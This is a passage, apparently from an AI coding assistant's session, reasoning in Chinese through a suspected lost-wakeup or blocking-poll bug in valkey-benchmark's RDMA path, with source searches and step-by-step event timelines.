waitcq: if (valkeyRdmaPollCqCm(c, end) == VALKEY_OK) goto pollcq; 关键发现：valkeyRdmaWrite 在 connRdmaHandleCq() 后没有检查 recv_offset \u0026lt; rx_offset！ 它只关心写入是否完成。但 connRdmaHandleCq() 是一个 drain-all 循环（goto pollcq），它会处理所有类型的 CQE，包括 IBV_WC_RECV_RDMA_WITH_IMM。 这意味着 valkeyRdmaWrite 的 connRdmaHandleCq 可能消费了回复数据的 CQE（更新了 rx_offset），同时也消费了 comp_channel 上的 event（或者由于 re-arm 导致后续不会有新 event）。 现在，你的 speculative read 修复确实会在 write 完成后立即调用 readHandler。但它 只调用一次。 问题的核心时序（-c 1, pipeline=1，正常快速流）： 循环 N: writeHandler → valkeyRdmaWrite: connRdmaHandleCq(): ibv_get_cq_event() → 得到 event（来自上一轮 server 发的 RegisterXferMemory cmd 的完成） ibv_ack_cq_events() ibv_req_notify_cq() ← re-arm ibv_poll_cq() → 处理了 RECV(RegisterXferMemory) + 可能还有上一轮的 SEND 完成 connRdmaSend() → 发出请求 return data_len speculative readHandler: valkeyRdmaReadZC: 早期检查: recv_offset \u0026lt; rx_offset? 可能不成立（上面处理的是 RegisterXferMemory cmd，不是数据） connRdmaHandleCq(): ibv_get_cq_event() → EAGAIN ibv_req_notify_cq() ← re-arm 又一次 ibv_poll_cq() → 0 个 CQE（server 还没回复） 非阻塞: return 0 readHandler 退出，没有读到数据 回到 epoll_wait... server 回复到达 → CQE → comp_channel readable → readHandler → 正常 这个也正常。但考虑 高速场景 下 server 回复非常快： 循环 N: writeHandler → valkeyRdmaWrite: connRdmaHandleCq(): ibv_get_cq_event() → EAGAIN（上一轮 speculative read 已经 drain 了） ibv_req_notify_cq() ← re-arm ibv_poll_cq() → 0 connRdmaSend() → 发出请求 return speculative readHandler: valkeyRdmaReadZC: 早期检查: 没有缓存数据 connRdmaHandleCq(): ibv_get_cq_event() → EAGAIN ibv_req_notify_cq() ← re-arm ─── server 回复到达，CQE 入队 ─── ─── comp_channel 产生 event (fd readable) ─── ibv_poll_cq() → RECV_IMM! rx_offset 更新! ibv_poll_cq() → 0 return OK recv_offset \u0026lt; rx_offset → 返回数据! ✓ valkeyGetReply → 解析到 reply, pending == 0 clientDone → resetClient → writeHandler(递归) ─── 但 rdma_in_speculative_read == 1 !!!! ─── 等等，resetClient 中： static void resetClient(client c) { aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE); aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE); if (config.ct == VALKEY_CONN_RDMA) { writeHandler(el, c-\u0026gt;context-\u0026gt;fd, c, 0); /* 直接调用 writeHandler */ } else { aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE, writeHandler, c); } ... } 所以 resetClient → writeHandler 会被直接调用。在这个 writeHandler 中： writeHandler: ...写完之后... aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE, readHandler, c); \\#ifdef USE_RDMA if (config.ct == VALKEY_CONN_RDMA \u0026amp;\u0026amp; !rdma_in_speculative_read) { // rdma_in_speculative_read == 1 (我们在递归中!) // 所以这个 speculative read 被跳过了!!!! } \\#endif return; 这就是 bug！ 在递归场景下： 1. speculative readHandler 中读到了数据 2. clientDone → resetClient → writeHandler 被递归调用 3. 新的 writeHandler 发出新请求 4. 但因为 rdma_in_speculative_read == 1，新的 speculative read 被跳过 5. 之前 connRdmaHandleCq 消费了 comp_channel event（步骤 T5 的 ibv_get_cq_event 得到了 event，或者虽然 EAGAIN 但 re-arm + poll 消费了 CQE） 6. 如果这个 event 是唯一的 event，而新请求的回复在 ibv_req_notify_cq 和 ibv_poll_cq 之间或之前到达，comp_channel-\u0026gt;fd 不会再变为 readable 7. epoll_wait 阻塞在 comp_channel-\u0026gt;fd 上等待新 event 8. 但 CQE 已经被提前处理过了或者新 event 不会产生（因为 arm 时 CQ 已经是空的，后续 CQE 会产生新 event） 不对，让我重新想清楚。实际上 ibv_req_notify_cq 之后的第一个新 CQE 一定会产生 event。所以如果 poll 把 CQE 取走了但没有处理到它，或者 CQE 在 arm 之后到达但也在 poll 中被取走了，event 已经产生了一个但 ibv_get_cq_event 那里得到的是 EAGAIN（因为之前 speculative read 中的 connRdmaHandleCq 第一行 ibv_get_cq_event 得到了 EAGAIN，然后 re-arm，然后 poll 取走了一个 CQE）——这时 event 产生了但在下一次 ibv_get_cq_event 之前没有被消费，所以 comp_channel-\u0026gt;fd 还是 readable 的。 让我更精确地分析。comp_channel-\u0026gt;fd 的可读性取决于是否有未消费的 event。关键在于： - ibv_get_cq_event 消费一个 event → fd 可能变为不可读 - ibv_req_notify_cq arm 后，新 CQE 产生一个新 event → fd 变为可读 所以真正的问题时序是： speculative readHandler: connRdmaHandleCq(): ibv_get_cq_event() → EAGAIN (fd 上没有未消费的 event) // ev_cq = ctx-\u0026gt;cq (EAGAIN 分支) ibv_req_notify_cq() ← arm ibv_poll_cq() → 0 (没有 CQE) return OK recv_offset == rx_offset → 没有数据 非阻塞: return 0 readHandler 退出 ── 返回 writeHandler，rdma_in_speculative_read = 0 ── 返回 aeMain → epoll_wait 此时 comp_channel-\u0026gt;fd 不可读（没有未消费的 event） CQ 已经 arm 了 ── server 回复到达 ── CQE 入队 → 产生 event → comp_channel-\u0026gt;fd 可读 epoll_wait 返回 → readHandler → 正常处理 ✓ 这个场景也是正常的... 让我再想想什么时候会真正卡住。 我来看一个更微妙的场景——RX buffer 满了需要重新注册的情况： valkeyRdmaReadZCDone (rdma.c:712-720): static ssize_t valkeyRdmaReadZCDone(valkeyContext *c) { RdmaContext *ctx = c-\u0026gt;privctx; if (ctx-\u0026gt;recv_offset == ctx-\u0026gt;recv_length) { return connRdmaRegisterRx(c, cm_id); // 发送 RegisterXferMemory 命令 } return VALKEY_OK; } connRdmaRegisterRx 发送一个 RegisterXferMemory 命令（通过 rdmaSendCommand → ibv_post_send），并且重置 rx_offset = 0, recv_offset = 0。 当 valkeyBufferRead 调用 read_zc_done 后，如果 RX buffer 满了，它会发送注册命令。这个 SEND 操作会产生一个 SEND completion CQE。 现在，关键问题来了：valkeyBufferRead 只调用 read_zc 一次（不是循环调用）。这意味着： readHandler: valkeyBufferRead: read_zc() → 返回部分数据（假设刚好填满 RX buffer 到 recv_length） valkeyReaderFeed() read_zc_done() → connRdmaRegisterRx() 发送新的 RX buffer 注册 // rx_offset = 0, recv_offset = 0 valkeyGetReply() loop → 解析 replies // 如果所有数据已经足以解析完所有 pending reply: clientDone → resetClient → writeHandler 但如果 server 在收到新的 RegisterXferMemory 后立即开始发送更多数据到新的 RX buffer？那些数据的 CQE 不会被处理，直到下一次 readHandler 被调用。 不过这在正常流程中应该不会是问题，因为 benchmark 是请求-响应模式的。 让我换一个角度来分析。让我专注于你说的现象：-c 1 (单连接)，RPS 间歇为 0。 让我看 cliWriteConn： ● Search(pattern: \u0026#34;cliWriteConn\u0026#34;, path: \u0026#34;src/cli_common.c\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 21 lines (ctrl+o to expand) ● Read(src/cli_common.c) ⎿ Read 30 lines ● 现在让我看 valkeyBufferWrite： ● Search(pattern: \u0026#34;^int valkeyBufferWrite\u0026#34;, path: \u0026#34;deps/libvalkey/src/valkey.c\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 26 lines (ctrl+o to expand) ● 好的，现在让我重新思考这个问题。valkeyRdmaWrite 是阻塞写（使用 valkeyRdmaPollCqCm 循环等待），即使 context 没有 VALKEY_BLOCK 标志。让我确认这一点： valkeyRdmaWrite (rdma.c:755-797) 使用 valkeyRdmaPollCqCm(c, end) 来等待——它里面有 poll() 调用。end 来自 valkeyCommandTimeoutMsec。让我检查 no-timeout 场景下会怎样： ● Search(pattern: \u0026#34;valkeyCommandTimeoutMsec\u0026#34;, path: \u0026#34;deps/libvalkey/src/valkey.c\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 0 lines ● Search(pattern: \u0026#34;valkeyCommandTimeoutMsec\u0026#34;, path: \u0026#34;deps/libvalkey/src\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 65 lines (ctrl+o to expand) ● Search(pattern: \u0026#34;valkeyContextTimeoutMsec\u0026#34;, path: \u0026#34;deps/libvalkey/src/valkey_private.h\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 45 lines (ctrl+o to expand) ● 好，所以当 command_timeout == NULL 时，timed = INT_MAX（即 msec = INT_MAX）。这意味着 valkeyRdmaWrite 的 end = vk_msec_now() + INT_MAX，valkeyRdmaPollCqCm 中的 poll() 超时会是 end - now ≈ INT_MAX 毫秒——即非常长时间的阻塞 poll()。 这就是关键！ valkeyRdmaWrite 在等待 TX buffer 可用时，调用 poll() 阻塞了，这期间 benchmark 的事件循环完全不运转。但对于正常的 GET 请求（很小），TX buffer 应该不会满。 让我换个思路，关注 connRdmaHandleCq 被多次调用时的 arm/event 交互： 状态: CQ 已 arm, comp_channel event 队列为空 1. write path: connRdmaHandleCq() ibv_get_cq_event() → EAGAIN (无 event) ibv_req_notify_cq() ← 再次 arm (幂等的, CQ 本来就是 arm 的) ibv_poll_cq() → 0 2. write 成功返回 3. speculative read: connRdmaHandleCq() ibv_get_cq_event() → EAGAIN ibv_req_notify_cq() ← arm ibv_poll_cq() → 0 return 0 (非阻塞) 4. epoll_wait 等待... server 回复 → CQE → event → fd readable → readHandler 这个没问题。但如果在步骤 3 的 ibv_req_notify_cq 和 ibv_poll_cq 之间有 CQE 到达： 3\u0026#39;. speculative read: connRdmaHandleCq() ibv_get_cq_event() → EAGAIN ibv_req_notify_cq() ← arm --- CQE 到达 (server 回复) --- --- event 产生, comp_channel-\u0026gt;fd 变为 readable --- ibv_poll_cq() → 得到 RECV_IMM, rx_offset 更新 ibv_poll_cq() → 0, 返回 recv_offset \u0026lt; rx_offset → 返回数据 ✓ readHandler 处理 reply → clientDone → resetClient → writeHandler(递归调用) 4\u0026#39;. 新的 writeHandler: valkeyRdmaWrite → connRdmaHandleCq(): ibv_get_cq_event() → 得到之前产生的 event! ← 消费了它 ibv_ack_cq_events() ibv_req_notify_cq() ← re-arm ibv_poll_cq() → 可能得到 SEND completion 等 connRdmaSend() → 发出新请求 return speculative read 被跳过! (rdma_in_speculative_read == 1) 返回到步骤 3 的 readHandler → readHandler 退出 rdma_in_speculative_read = 0 回到 aeMain → epoll_wait 5\u0026#39;. 此时 comp_channel-\u0026gt;fd 是什么状态? 步骤 4\u0026#39; 的 ibv_get_cq_event 消费了唯一的 event 步骤 4\u0026#39; 的 ibv_req_notify_cq 重新 arm 步骤 4\u0026#39; 的 ibv_poll_cq 清空了 CQ → comp_channel-\u0026gt;fd 不可读! CQ 已 arm! → 需要等 server 回复新请求，新 CQE 产生新 event → 这是正常的，新请求的回复会产生新 event → epoll_wait 应该能正常唤醒 ✓ Hmm，这个场景实际上也是正常的。让我再深入想... 关键洞察：也许问题不在于\u0026#34;永远卡住\u0026#34;，而在于 connRdmaHandleCq 中多次重复 arm 的代价。每次 ibv_req_notify_cq 只是重新 arm，但 ibv_get_cq_event 的 EAGAIN 分支和 event 分支都会调用它。真正的问题可能是 valkeyRdmaWrite 里的 阻塞 poll()。 让我重新检查 valkeyRdmaWrite 的行为。benchmark 没有设置 command_timeout（c-\u0026gt;command_timeout == NULL），所以 timed = INT_MAX。当需要等待新 TX buffer（tx_offset == tx_length）时： valkeyRdmaWrite: pollcq: connRdmaHandleCq() → drain CQ tx_offset == tx_length? → goto waitcq waitcq: valkeyRdmaPollCqCm(c, end) → poll(pfd, 2, INT_MAX - now) ← 阻塞! 但对于 GET key:000000000000 这样的小请求，TX buffer 不应该满（1MB 大小）。每次请求只发几十字节，而 server 回复 RegisterXferMemory 会重置 tx_offset。 等等——让我仔细看 TX buffer 的重置逻辑。tx_offset 在 connRdmaHandleRecv 的 RegisterXferMemory 分支中被重置： case RegisterXferMemory: ctx-\u0026gt;tx_addr = ...; ctx-\u0026gt;tx_length = ntohl(cmd-\u0026gt;memory.length); ctx-\u0026gt;tx_key = ntohl(cmd-\u0026gt;memory.key); ctx-\u0026gt;tx_offset = 0; // ← 重置 这是 server 端发来的。当 server 消费完 RX buffer 后，它会重新注册并发送一个新的 RegisterXferMemory 给 client。只有在 server 端 准备好新 buffer 之后 client 的 tx_offset 才会被重置。 如果 client 发送大量数据填满了 TX buffer，但 server 还没来得及处理并发送新的 RegisterXferMemory，那 client 的 write 就会阻塞在 poll() 里等待。但这对于 -t get 不太可能发生。 让我现在集中精力看另一个角度——CQ event 的\u0026#34;消费但未产生新通知\u0026#34;的极端竞态。 RDMA CQ 通知的精确语义是： - ibv_req_notify_cq(cq, 0) 请求 solicited + unsolicited 通知 - 调用后，下一个 添加到 CQ 的 CQE 会产生一个 completion event - 如果在 arm 时 CQ 中已经有 CQE，它们不会触发通知——只有新加入的才会 所以标准做法是： 1. ibv_req_notify_cq() // arm 2. ibv_poll_cq() loop // drain all existing CQE // 如果 poll 了任何 CQE → 处理它们，然后回到 1 // 如果 poll 了 0 → 安全，任何新 CQE 都会产生通知 当前代码确实是这么做的。但在 EAGAIN 分支中有一个微妙差异。让我重新仔细看： if (ibv_get_cq_event(ctx-\u0026gt;comp_channel, \u0026amp;ev_cq, \u0026amp;ev_ctx) \u0026lt; 0) { if (errno != EAGAIN) { return VALKEY_ERR; } // EAGAIN: 没有 pending event ev_cq = ctx-\u0026gt;cq; } else { ibv_ack_cq_events(ctx-\u0026gt;cq, 1); // ack 消费了的 event } ibv_req_notify_cq(ev_cq, 0); // re-arm pollcq: ibv_poll_cq() loop ... 当 EAGAIN 时（没有 event），CQ 可能已经 arm 也可能没有。但这里又调用 ibv_req_notify_cq。多次 arm 是幂等的吗？根据 RDMA verbs 规范，对已经 arm 的 CQ 再次调用 ibv_req_notify_cq 是安全的——它只是确保 CQ 被 arm。 但关键问题是：如果之前的 arm 已经因为一个 CQE 产生了 event（event 在 comp_channel 的内核队列中但我们还没 ibv_get_cq_event），而我们这里的 ibv_get_cq_event 得到了 EAGAIN——这可能吗？ 不，ibv_get_cq_event 在非阻塞模式下如果有 pending event 就返回它，否则返回 EAGAIN。所以如果有 event，它一定会返回 event 而不是 EAGAIN。 好的，让我从完全不同的角度来想这个问题。看看是否有 event loop 注册/注销 的问题。 回到 benchmark 的 resetClient（valkey-benchmark.c:557-568）： static void resetClient(client c) { aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE); aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE); // ← 删除了 READABLE! if (config.ct == VALKEY_CONN_RDMA) { writeHandler(el, c-\u0026gt;context-\u0026gt;fd, c, 0); } else { aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE, writeHandler, c); } ... } 对于 RDMA，resetClient 先删除 AE_READABLE，然后直接调用 writeHandler。writeHandler 完成写入后会 aeCreateFileEvent(..., AE_READABLE, readHandler, c) 再注册回来。 但如果 writeHandler 在中途 return 了呢？ 比如 isBenchmarkFinished 返回 true，或者部分写入（nwritten \u0026gt; 0 但不是全部）。让我检查 RDMA 的 cliWriteConn 返回路径： valkeyRdmaWrite 要么写完所有数据（返回 data_len），要么返回 VALKEY_ERR。它不会返回部分写入。cliWriteConn 在 done=1 时返回 buf_len，在 VALKEY_ERR 时返回 -1。 在 writeHandler 中 (line 886)： const ssize_t nwritten = cliWriteConn(c-\u0026gt;context, ptr, writeLen); if (nwritten != writeLen) { if (nwritten == -1 \u0026amp;\u0026amp; errno != EAGAIN) { // error, freeClient } else if (nwritten \u0026gt; 0) { c-\u0026gt;written += nwritten; return; // ← 部分写入，return 而不注册 READABLE } } 对于 RDMA，cliWriteConn 返回 buf_len（成功）或 -1（失败），不会返回部分写入。所以 nwritten == writeLen 成立，进入 else 分支注册 READABLE。 不对，等等。 看 cliWriteConn（cli_common.c:147-176）更仔细： c-\u0026gt;obuf = sdscatlen(c-\u0026gt;obuf, buf, buf_len); if (valkeyBufferWrite(c, \u0026amp;done) == VALKEY_ERR) { if (!(c-\u0026gt;flags \u0026amp; VALKEY_BLOCK)) errno = EAGAIN; // rollback buffer return -1; } if (done) { sdsclear(c-\u0026gt;obuf); return buf_len; } // not done: if (sdslen(c-\u0026gt;obuf) \u0026gt; buf_len) { sdsrange(c-\u0026gt;obuf, 0, -(buf_len + 1)); return 0; } size_t left = sdslen(c-\u0026gt;obuf); sdsclear(c-\u0026gt;obuf); return buf_len - left; valkeyBufferWrite 调用 c-\u0026gt;funcs-\u0026gt;write(c) 即 valkeyRdmaWrite。这个函数使用整个 c-\u0026gt;obuf 来写，不是 buf_len。所以如果之前有残留数据在 c-\u0026gt;obuf 中，它会一起写。 但问题是，valkeyRdmaWrite 通过 sdslen(c-\u0026gt;obuf) 获取长度。如果写成功，它返回 data_len = sdslen(c-\u0026gt;obuf)。然后 valkeyBufferWrite 检查 nwritten == sdslen(c-\u0026gt;obuf)，如果是的话清空 obuf，设置 done = 1。 所以对于 RDMA，done 应该总是 1（成功时），cliWriteConn 返回 buf_len。 好，让我从现象倒推。你说 RPS \u0026#34;间歇性为 0\u0026#34;——突然停顿一段时间然后又恢复。这种模式暗示不是永久死锁，而是某种 超时恢复 机制。 什么东西有超时？showThroughput 每 250ms 被调用一次（作为 ae 的 time event）。如果 benchmark 卡住了，time event 也不会执行（ae 在 epoll_wait 中阻塞了）。 突然的想法：如果 epoll_wait 的超时正好是 ae 中 time event 的到期时间，那么即使没有 fd event，time event 到期时 aeProcessEvents 也会返回。让我检查 ae 的 aeProcessEvents： ● Search(pattern: \u0026#34;int aeProcessEvents\u0026#34;, path: \u0026#34;src/ae.c\u0026#34;, output_mode: \u0026#34;content\u0026#34;) ⎿ Found 31 lines (ctrl+o to expand) ● Read(src/ae.c) ⎿ Read 60 lines ● 好，ae 的 time event (showThroughput) 每 250ms 执行一次。所以 aeApiPoll（即 epoll_wait）的超时最多是 250ms。即使 comp_channel-\u0026gt;fd 没有 event，epoll_wait 也会在 250ms 后返回处理 time event，然后重新 epoll_wait。 这与你描述的现象完全吻合：RPS 突然为 0 一段时间（~250ms），然后又突然很高。 因为： 1. 卡在 epoll_wait（没有 fd event，但 comp_channel-\u0026gt;fd 上实际上还是有未消费的 event，或者没有——需要确认） 2. 250ms 后 epoll_wait 超时返回（为了处理 showThroughput time event） 3. 再次进入 epoll_wait 此时如果 fd 仍然 readable，它会立刻返回 等等，这还是不对。epoll 的机制是：如果 fd 是 level-triggered（默认），只要 fd 上有未读的 event，epoll_wait 就会立即返回。所以如果 comp_channel-\u0026gt;fd 是 readable 的，epoll 不会阻塞 250ms。 问题是 epoll_wait 阻塞了，说明 comp_channel-\u0026gt;fd 上确实没有未消费的 event。那 CQE 呢？CQE 可能在之前的 ibv_poll_cq 中被取走了，event 也被 ibv_get_cq_event 消费了（或者 re-arm 后没有新 CQE 产生新 event）。 我现在找到了真正的 bug！ 让我重新审视 connRdmaHandleCq 的 EAGAIN 分支： if (ibv_get_cq_event(ctx-\u0026gt;comp_channel, \u0026amp;ev_cq, \u0026amp;ev_ctx) \u0026lt; 0) { if (errno != EAGAIN) return VALKEY_ERR; // EAGAIN 分支 ev_cq = ctx-\u0026gt;cq; } else { ibv_ack_cq_events(ctx-\u0026gt;cq, 1); } ibv_req_notify_cq(ev_cq, 0); // re-arm pollcq: ibv_poll_cq loop ... 在 EAGAIN 分支中： - 没有 event 可消费 - 但可能 CQ 已经不是 arm 状态（上一次 CQE 到达时消耗了 arm） - 调用 ibv_req_notify_cq re-arm - 然后 poll 如果在 re-arm 之前，CQ 中已经有 CQE 但没有 event 通知（因为上一次的 arm 已经被消耗了），那么 ibv_poll_cq 会取到这些 CQE，但不会有新的 event 产生（因为 event 只在 CQE 加入 CQ 时产生，不是在 arm 时产生）。 不对，ibv_req_notify_cq 的语义是：在 arm 之后，下一个加入 CQ 的 CQE 会触发 event。已经在 CQ 中的 CQE 不会触发。所以： 状态: CQ 中有 1 个 CQE（之前的 arm 已被消耗） connRdmaHandleCq(): ibv_get_cq_event() → EAGAIN (event 队列为空) ibv_req_notify_cq() → arm ibv_poll_cq() → 取到 1 个 CQE，处理它 ibv_poll_cq() → 0 return OK // 现在 CQ 为空，CQ 已 arm // 新 CQE 会产生 event ← 正常 这个也没问题。但如果在 ibv_poll_cq 之后、函数返回之前，一个新 CQE 到达： ibv_req_notify_cq() → arm ibv_poll_cq() → 取到旧 CQE ibv_poll_cq() → 0 --- 新 CQE 到达 → event 产生 → comp_channel-\u0026gt;fd readable --- return OK event 在 comp_channel-\u0026gt;fd 上等待。当 readHandler 回到 epoll_wait 时，fd 是 readable 的，所以会被立即唤醒。 但如果这个 connRdmaHandleCq 是在 speculative read 中被调用的呢？speculative read 中的 valkeyRdmaReadZC 会检查 recv_offset \u0026lt; rx_offset，如果有数据就返回。如果新 CQE 是 RECV_IMM，ibv_poll_cq 取到它后 rx_offset 会更新。等等，但新 CQE 是在 ibv_poll_cq() → 0 之后到达的，所以 ibv_poll_cq 没有取到它。 ibv_poll_cq() → 0 --- 新 CQE 到达 --- return OK valkeyRdmaReadZC: recv_offset \u0026lt; rx_offset? → NO (新 CQE 没被处理) 非阻塞: return 0 readHandler: nread == 0, 退出 epoll_wait: comp_channel-\u0026gt;fd readable (有 event) → 立即返回 → readHandler ✓ 这个也正常。 好吧，让我换个思路。也许问题出在 ibv_poll_cq 循环取走了所有 CQE 包括一个 RECV_IMM，但对应的 event 已经被之前的某次调用消费了，而且 re-arm 之后没有新 CQE 产生新 event。 具体来说： T1: server 发回复 → CQE_A 加入 CQ → (CQ arm) → event_A 产生 T2: client writeHandler → valkeyRdmaWrite → connRdmaHandleCq: ibv_get_cq_event() → event_A ← 消费 ibv_ack_cq_events() ibv_req_notify_cq() → re-arm ibv_poll_cq() → CQE_A (RECV_IMM) → rx_offset 更新 ibv_poll_cq() → 0 T3: write 完成 T4: speculative readHandler: valkeyRdmaReadZC: 早期检查: recv_offset \u0026lt; rx_offset → YES! (T2 更新了 rx_offset) 返回数据，不调用 connRdmaHandleCq valkeyReaderFeed() read_zc_done() → 可能 connRdmaRegisterRx valkeyGetReply → 解析 reply → clientDone → resetClient → writeHandler(递归) T5: 递归 writeHandler: valkeyRdmaWrite → connRdmaHandleCq: ibv_get_cq_event() → EAGAIN (event_A 已被 T2 消费，没有新 event) ibv_req_notify_cq() → re-arm ibv_poll_cq() → 可能有 SEND 完成的 CQE ibv_poll_cq() → 0 connRdmaSend() → 发出新请求 return speculative read 被跳过 (rdma_in_speculative_read == 1) T6: 返回到 T4 的 readHandler → 退出 rdma_in_speculative_read = 0 T7: epoll_wait 等待 CQ 在 T5 中被 re-arm 了 comp_channel-\u0026gt;fd 没有 pending event 等待 server 回复新请求... server 回复 → CQE → event → comp_channel-\u0026gt;fd readable → readHandler ✓ 这个也正常！新请求会产生新回复、新 CQE、新 event。 那到底什么时候会出问题？？ 让我再仔细想一种场景——connRdmaRegisterRx 的 SEND 完成和 server 发来的新 RegisterXferMemory 的时序。 当 client 消费完 RX buffer 后，read_zc_done 调用 connRdmaRegisterRx，它发送一个 RegisterXferMemory 命令给 server。这个 SEND 操作使用 IBV_SEND_SIGNALED，会产生一个 SEND completion CQE。同时 server 收到后会处理数据，然后可能也发送一个 RegisterXferMemory 回来（告诉 client 新的 TX buffer 地址）。 如果这些 CQE 在下一次 connRdmaHandleCq 中被处理，但对应的 event 被消费掉了，而在那之后 server 的数据回复才到来——因为有 re-arm，新的回复 CQE 会产生新 event。所以这也应该正常。 我开始怀疑问题可能更微妙。让我想想 ibv_req_notify_cq 和 ibv_poll_cq 之间的真正竞态。 根据 RDMA verbs 的 man page，标准用法是： while (1) { ibv_get_cq_event(comp_channel, \u0026amp;cq, \u0026amp;ctx); ibv_ack_cq_events(cq, 1); ibv_req_notify_cq(cq, 0); while (ibv_poll_cq(cq, 1, \u0026amp;wc) \u0026gt; 0) { // process wc } } 这个 pattern 保证不会丢失 CQE 通知。关键是 ibv_req_notify_cq 在 ibv_poll_cq 之前。如果在 poll 期间新 CQE 到达，它会被 poll 取到，并且因为是在 arm 之后到达的，所以也会产生一个 event。下次 ibv_get_cq_event 会得到这个 event。 但问题是当前代码在 EAGAIN 分支中调用了 ibv_req_notify_cq 但没有先消费 event。如果之前的 arm 还有效（没有 CQE 到达过消耗它），那么再次 arm 是幂等的。如果之前的 arm 已经被消耗了（有 CQE 到达），那么 event 应该在 comp_channel 队列中，ibv_get_cq_event 应该能读到它而不是返回 EAGAIN。 除非 event 在上一次 ibv_get_cq_event 中已经被读走了，但对应的 CQE 在那次的 ibv_poll_cq 中被处理了。 这就是正常流程。 我开始觉得问题可能不是经典的 RDMA lost wakeup，而是 benchmark 层面的逻辑问题。让我重新仔细看 resetClient → writeHandler 在 speculative read 递归中的行为： // speculative read 正在执行 (rdma_in_speculative_read == 1) // readHandler 处理了 reply // clientDone → resetClient: static void resetClient(client c) { aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE); aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE); // ← 注意：删除了 READABLE！ writeHandler(el, c-\u0026gt;context-\u0026gt;fd, c, 0); // 直接调用 c-\u0026gt;written = 0; c-\u0026gt;pending = config.pipeline * c-\u0026gt;seqlen; } 在 writeHandler 中写完后： aeDeleteFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_WRITABLE); aeCreateFileEvent(el, c-\u0026gt;context-\u0026gt;fd, AE_READABLE, readHandler, c); // speculative read 被跳过 (guard) return; 所以返回到 resetClient，c-\u0026gt;written = 0, c-\u0026gt;pending = ... 被设置。然后返回到 readHandler 的 clientDone 之后： // readHandler: c-\u0026gt;pending--; // ← 但 resetClient 已经重置了 c-\u0026gt;pending! if (c-\u0026gt;pending == 0) { clientDone(c); break; } 不对，看更仔细。clientDone 在 pending 检查之后调用的： while (c-\u0026gt;pending) { valkeyGetReply(c-\u0026gt;context, \u0026amp;reply); if (reply != NULL) { ... c-\u0026gt;pending--; if (c-\u0026gt;pending == 0) { clientDone(c); // ← resetClient → writeHandler break; // ← 跳出 while 循环 } } else { break; // 没有更多数据 } } clientDone 调用 resetClient，resetClient 调用 writeHandler。writeHandler 中设置了新的 pending (通过 resetClient 在 writeHandler 返回后设置)。等等，resetClient 是先调用 writeHandler，然后设置 c-\u0026gt;written = 0 和 c-\u0026gt;pending。 但 writeHandler 已经在内部做了 c-\u0026gt;start = ustime() 和 c-\u0026gt;latency = -1！ 然后 resetClient 又设置 c-\u0026gt;pending。所以流程是： resetClient: 1. aeDeleteFileEvent(WRITABLE) 2. aeDeleteFileEvent(READABLE) 3. writeHandler() // 发送新请求，注册 READABLE 4. c-\u0026gt;written = 0 5. c-\u0026gt;pending = config.pipeline * c-\u0026gt;seqlen // 新值 writeHandler 内部在 c-\u0026gt;written == 0 时会设置 c-\u0026gt;start 和增加 requests_issued。但此时 c-\u0026gt;written 还是旧值（resetClient 还没执行到第 4 步）！看 resetClient 的源码： static void resetClient(client c) { ... if (config.ct == VALKEY_CONN_RDMA) { writeHandler(el, c-\u0026gt;context-\u0026gt;fd, c, 0); } c-\u0026gt;written = 0; // ← writeHandler 之后才设置 c-\u0026gt;pending = ...; } 而 writeHandler： if (c-\u0026gt;written == 0) { // ← 此时 c-\u0026gt;written 是什么？ // 上一轮设置的值。如果上一轮 write 完成了，writeHandler 没有设置 c-\u0026gt;written // cliWriteConn 返回 buf_len，c-\u0026gt;written 没有被更新（因为走的是 buf_len == writeLen 的分支） } 等等，让我看 writeHandler 写完后的逻辑。writeHandler 中 write 成功后不会更新 c-\u0026gt;written。c-\u0026gt;written 只在部分写入时更新 (c-\u0026gt;written += nwritten)。所以如果上一轮写完了（nwritten == writeLen），c-\u0026gt;written 保持为 0（因为上一次 resetClient 设置了它为 0）。 那在递归调用 writeHandler 时，c-\u0026gt;written == 0，所以它会 atomic_fetch_add requests_issued。这是正确的。 好吧，逻辑似乎没问题。让我回到 RDMA 层面，做最后一次精确分析。 我现在认为问题可能是：connRdmaHandleCq 在 poll 到 RECV_IMM CQE 后更新了 rx_offset，但同时消费了 comp_channel 的 event。之后 speculative read 确实读到了数据，但递归的 writeHandler 中的 connRdmaHandleCq 再次 re-arm CQ。如果此时 server 还没发回复（因为新请求刚发出），CQ 是 arm 的且为空。然后 speculative read guard 阻止了第二次 speculative read。回到 epoll_wait 时，comp_channel-\u0026gt;fd 不可读。新回复到达时 CQE 产生 event，epoll_wait 返回——这是正常的。 所以从纯逻辑角度看，每个场景似乎都能最终恢复。问题可能不是 lost wakeup（永久卡住），而是一种 性能抖动 导致的间歇低效。 让我重新考虑：你说的 \u0026#34;RPS 为 0 一段时间然后又非常高\u0026#34; ——这个 \u0026#34;一段时间\u0026#34; 大约是多久？如果是 250ms 的倍数，那可能是 time event 触发 showThroughput 的间隔。 最终发现：真正的问题在 valkeyRdmaWrite 中的阻塞 poll()! 让我再看一遍 valkeyRdmaWrite： static ssize_t valkeyRdmaWrite(valkeyContext *c) { ... end = vk_msec_now() + timed; // timed = INT_MAX (无 command_timeout) pollcq: if (connRdmaHandleCq(c) == VALKEY_ERR) return VALKEY_ERR; if (ctx-\u0026gt;tx_offset == ctx-\u0026gt;tx_length) goto waitcq; // TX buffer 满了 connRdmaSend() ... if (wrote == data_len) return data_len; // 写完了 waitcq: if (valkeyRdmaPollCqCm(c, end) == VALKEY_OK) goto pollcq; // ← 阻塞 poll! } 当 TX buffer 没有准备好时（tx_offset == tx_length 或者初始时 tx_length == 0），write 会进入阻塞 poll()。 初始时 tx_length == 0（calloc 